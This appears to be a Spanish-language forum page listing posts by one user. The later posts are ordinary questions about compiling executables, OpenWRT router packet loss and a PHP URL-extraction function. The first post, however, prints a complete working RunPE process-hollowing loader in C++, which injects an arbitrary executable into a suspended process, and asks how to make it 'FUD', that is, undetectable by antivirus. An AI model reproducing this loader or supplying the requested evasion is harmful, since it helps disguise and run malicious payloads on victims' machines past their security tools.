Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Z3R0N3

#1
Dudas y pedidos generales / RunPE FUD?¿
Julio 11, 2018, 04:57:41 AM
Hola!
Tengo un RunPE genérico (lo pongo más abajo), ¿se os ocurren formas de hacerlo FUD u otra alternativa para lograr lo mismo, por ejemplo trabajando con los fork y pid etc...?
Gracias!

Código: php

/* RunPE */
typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
class runPE{
    public:
        void run(LPSTR szFilePath, PVOID pFile)
        {
              PIMAGE_DOS_HEADER IDH;
            PIMAGE_NT_HEADERS INH;
            PIMAGE_SECTION_HEADER ISH;
            PROCESS_INFORMATION PI;
            STARTUPINFOA SI;
            PCONTEXT CTX;
            PDWORD dwImageBase;
            NtUnmapViewOfSection xNtUnmapViewOfSection;
            LPVOID pImageBase;
            int Count;
            IDH = PIMAGE_DOS_HEADER(pFile);
            if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
            {
                INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
                if (INH->Signature == IMAGE_NT_SIGNATURE)
                {
                    RtlZeroMemory(&SI, sizeof(SI));
                    RtlZeroMemory(&PI, sizeof(PI));
                    if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
                    {
                        CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                        CTX->ContextFlags = CONTEXT_FULL;
                        if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                        {
                            ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
                            if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                            {
                                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                                xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                            }
                            pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                            if (pImageBase)
                            {
                                WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                                for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                                {
                                    ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                                }
                                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                                CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                                SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                                ResumeThread(PI.hThread);
                            }
                        }
                    }
                }
            }
            VirtualFree(pFile, 0, MEM_RELEASE);
        }
};
/* end RunPe */


#2
Hola!
Tengo una aplicación que por debajo usa la linea de comandos para pasarle los argumentos al compilador y así generar un .exe (en el caso de windows) ya compilado.
Quiero publicar la aplicación, pero cada persona puede que tenga el compilador en una ruta distinta, entonces me pregunto si hay alguna forma de generar un .exe (o el compilado) desde la propia aplicación sin recurrir al compilador por linea de comandos.
Gracias!


#3
Hola,

He instalado "OpenWRT" en mi router "Alfa R36 AIP w502u". Por cierto, la descarga sigue estando en la versión 12, me parece que ya estamos en la versión 15...

El Router tiene 1 antena, y 1 USB.

1 - Configuro la antena en modo cliente, para poder hacer "opkg update" y después "opkg install kmod-rtl8187" para obtener el driver USB.

2 - Uso el comando "wifi detect > /etc/config/wireless" para actualizar la información de la nueva antena conectada por USB.

3 - Pongo la antena 1 en modo AP asociado a "LAN", y la antena 2 en modo cliente asociado a "WAN" o "WWAN" si no deseo las reglas firewall que trae "WAN" por defecto.

4 - Realizo una prueba de ping desde el router, todo OK.

5 - Conecto un PC a la antena que está en modo AP, hago ping y más del 33% de los paquetes se pierden.

6 - Vuelvo a realizar la prueba del punto 4, y ahora el router también pierde los paquetes.

¿Qué puede estar sucediendo? ¿Me falta algún paquete? ¿Alguna regla de firewall mal configurada? ¿Debo crear alguna VLAN? ¿Debo esperar una nueva actualización de firmware?

No entiendo mucho de redes, pero me manejo bastante bien con Linux.

Espero alguna respuesta. Gracias!
#4
Hola de nuevo comunidad :)

Estoy tratando de utilizar dos antenas wifi para crear mi red,  mi intención es que una antena haga de red LAN y la otra de WAN (hasta aquí bien, pero mi problema es la pérdida de conexión)

Estoy usando el router Alfa R36 con su antena interna para la red local y un adaptador RTL8187 USB para conectarse a la red externa (WAN).

El RTL8187 USB, necesita instalar el driver primero por tanto lo hago con "opkg install kmod-RTL8187". Mientras tanto, en el panel WEB de OpenWRT aparece como "Ralink 3050", pero creo que este no es el problema, dado que parece que el sistema reconoce el USB, lo utiliza para escanear redes y también para conectarse a ellas. Me parece que el error está en la tabla de rutas o el firewall pero aquí no sé definirlo correctamente, espero que puedan ayudarme, aún así continuo dando mas  detalles...

Conecto este adaptador USB al router R36, y con su antena, me conecto a cualquier señal wifi existe. Mientras tanto, con la antena interna del R36 creo mi propia red con su propio SSID. Parece que todo funciona correctamente pero al cabo de unos segundos o pocos minutos la conexión acaba perdiéndose y reiniciándose.

"LAN" tiene una ip estática "192.168.2.1" y su propio SSID.
"WAN" tiene una ip estática "192.168.1.33 / 255.255.255.0 / 192.168.1.1",  (probando con DHCP sucede lo mismo)

La conexión se pierde en pocos segundos. Mi sensación es que la salida de los paquetes es correcta, pero después, me da la sensación de que no sabe a quién devolver la respuesta.

Mientras configuro las "tablas de rutas" y "firewall" desde la intefaz WEB de OpenWRT, observo que las secciónes de Interfaces "lan" y "wan" nunca quedan ambas en color verde,  pero tocando estas opciones sus colores cambian.

¿A alguien se le ocurre algo para averiguar qué puede estar sucediendo?¿ ¿Alguna configuración para el firewall, tabla de rutas u otras opciones?...  Sinceramente, después del esfuerzo implicado en conseguir flashear el router e instalar los drivers a mano etc no me gustaría quedarme aquí parado,  por tanto estoy dispuesto a presentar cualquier información que necesiten para ayudarme.

Muchas Gracias!

(MODERADOR :: por cierto, he posteado este tema en la sección de Wireless/Hardware/Redes . Si ve oportuno eliminarla de alguna de ellas haga lo que vea oportuno :), Gracias! )
#5
Back-end / Buscar y Buscar dentro de Cadenas
Julio 12, 2011, 02:28:41 PM
Hola chicos, estoy un poco atascado con un PHP y me gustaría que me echasen una manita... Gracias de Antemano.


Os explico lo que quiero hacer;


(ESTO NO ES IMPORTANTE :: Perdón por las mayúsculas)

En primer lugar, un "archivo.php" recibe por POST todo el contenido HTML de una página.

Éste "archivo.php" se encarga de modificar dicho contenido HTML para generar otro distinto.


(ESTO SI ES IMPORTANTE :: Perdón por las mayúsculas)


¿Qué necesito? Pues bien, me gustaría extraer ciertas STRINGs o Cadenas que existan dentro del contenido que recibo, y dentro de estas cadenas, encontrar unos enlaces que existen dentro de ellos. Es decir, lo explico con un ejemplo:


Código: php
$cadenaHTML = '

Aquí un desparrame de código HTML

onclick="return confirmar('http://www.laweb.es/Documentos/webflv1308325486171.flv', '0', 2);"

más código HTML

onclick="return confirmar('http://www.laweb.es/Documentos/webflv1308325540890.flv', '1', 2);"

más código HTML

onclick="return confirmar('http://www.laweb.es/Documentos/ARCHIVOS/d0ab59150_folder.png', '0', 1);"

más código HTML

onclick="return confirmar('http://www.laweb.es/Documentos/ARCHIVOS/d0ab59150_mensaje 128px.png', '1', 1);"


Aquí termina el resto de código HTML.
';



Pues bien, suponed que eso es lo que recibo por $_POST.

Lo que quiero es extraer todos los "onclick" y dentro de éstos todas las URL completas que aparezcan.



Tengo algo de código tirado y consigo reemplazar todos los "onclick" por espacios vacios pero en ningún momento consigo extraer las URL's.


Aquí pongo el código que tengo para comprobar que ha encontrado todos los "onclick" y los ha vaciado (para asegurarme de que encuentra todos, en realidad habría que eliminar esa función o bien reemplazarla por la búsqueda de las URL's).


Código: php


// Aquí compruebo que en el contenido recibo existe "onclick" y " );" " para proceder a seguir.

        if((stristr($contenidorecibido, 'onclick') == true) && (stristr($contenidorecibido, ');"') == true)) {


// Ahora cuenta el nº de "onclick" que ha encontrado para entrar en un For y recorrerlos.

            $contadorPartes = substr_count($contenidorecibido, 'onclick');
            for ($f = 0; $f < $contadorPartes; $f++) {

// En la variable $extraerContenido extraigo el contenido realizado desde el primer delimitador 'onclick="return ' al segundo delimitador que sería ');"' para almacenarlo en la misma variable.


            $extraerContenido = 'onclick="return '.getContentFromDelimiters($contenidorecibido, 'onclick="return ', ');"').');"';


// Por último reemplazo las cadenas encontradas "onclick" por vacías ya que así tengo una muestra visual de que se ha machacado todas. ( "Ha encontrado todos los 'onclick' ).

            $limpiador3 = str_replace($extraerContenido, '', $contenidorecibido);
            $contenidorecibido = $limpiador3;
            }
        }




En el código anterior llamo a 1 función pero aquí pongo las 2 funciones que estoy usando.


- La primera para buscar el contenido que haya entre 2 delimitadores.

- La segunda para buscar las URL's dentro de la STRING que le pase.


Aquí os pego el código:


Código: php
function getContentFromDelimiters($string, $start, $end) {
        $pos = stripos($string, $start);
        $str = substr($string, $pos);
        $str_two = substr($str, strlen($start));
        $second_pos = stripos($str_two, $end);
        $str_three = substr($str_two, 0, $second_pos);
        $unit = trim($str_three);
        return $unit;
}

function tieneUrls($cuerpo){
stripslashes($cuerpo);
$regex = '$\b(https?|ftp|file)://[-A-Z0-9+&@#/%?=~_|!:,.;]*[-A-Z0-9+&@#/%=~_|]$i';
if (preg_match_all($regex, $cuerpo, $result, PREG_PATTERN_ORDER))
return $result;
}




Bueno, espero que puedan echarme un cable ya que nose por qué me he quedado atascado por completo.

Y ya saben, lo que busco es extraer todos los "onclick" y dentro de éstos todas las URL completas que aparezcan.


Bueno espero que me puedan echar un cable. Muchísimas Gracias nuevamente y Saludos.